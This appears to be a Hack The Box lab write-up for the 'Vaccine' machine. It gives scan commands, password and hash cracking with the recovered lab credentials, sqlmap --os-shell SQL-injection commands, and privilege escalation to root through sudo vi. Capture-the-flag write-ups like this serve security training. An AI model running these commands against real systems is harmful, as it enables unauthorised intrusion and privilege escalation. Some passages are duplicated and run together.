Vaccine
HTB - Vaccine
sudo nmap -T4 -p- -A 10.10.10.46
Nessus scan for fun Start with
sudo /etc/init.d/nessusd start
and go tohttps://kali:8834
Enumerate HTTP
Ran
nikto -h http://10.10.10.46
Enumerate FTP
Try
ftpuser:mc@F1l3ZilL4
fromopsie
machine:Result: A file named backup.zip is found in the folder. Extraction of the archive fails as it's password protected.
Password cracking: The password can be cracked using JohntheRipper and rockyou.txt.
Output:
ZIP Password:
741852963
Extracting it's contents using the password reveals a PHP file and a CSS file.
index.php
contains:Result: The input password is hashed and compared to the MD5 hash:
2cb42f8734ea607eefed3b70af13bbd3
.This hash can be easily cracked using an online rainbow table such as crackstation. Result: password is
qwerty789
Foothold
Search parameter in URL:
http://10.10.10.46/dashboard.php?search=a
Scan for SQL injection with metasploit
Result: System is vulnerable
SQL injection scan with
sqlmap
:Output:
Sqlmap found the page to be vulnerable to multiple injections, and identified the backend DBMS to be PostgreSQL. Getting code execution in postgres is trivial using the
--os-shell
command.Exploit:
sqlmap -u 'http://10.10.10.46/dashboard.php?search=a' --cookie="PHPSESSID=0fn7flfi1tt116v52ahvfh8in3" --os-shell
--os-pwn Result: Failed foreverExploit 2:
sqlmap -u 'http://10.10.10.46/dashboard.php?search=a' --cookie="PHPSESSID=0fn7flfi1tt116v52ahvfh8in3" --os-shell --safe-url http://google.com --keep-alive --dbms PostgreSQL --safe-freq 3
Result: Popped a shellLet's upgrade to a tty shell and continue enumeration:
SHELL=/bin/bash script -q /dev/null
Form reverse meterpreter
Bash reverse shell
Privilege Escalation
Looking at the source code of dashboard.php in /var/www/html reveals the postgres password to be: P@s5w0rd!.
Looking at the source code of dashboard.php in
/var/www/html
reveals the postgres password to be:P@s5w0rd!
.Run
SHELL=/bin/bash script -q /dev/null
again or trypython3 -c 'import pty; pty.spawn("/bin/bash")'
This password can be used to view the user's sudo privileges:
sudo -l
:User is allowed to edit a file using vi as root, which can spawn a root shell:
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
. Press escape to enter normal mode then type:
to enter command-line mode and enter!/bin/bash
to get root shellGet more stable shell
Form reverse meterpreter
Bash reverse shell
Upgrade to meterpreter
Allow access in at any time with SSH
And then in normal attacker prompt:
Get Flag
Last updated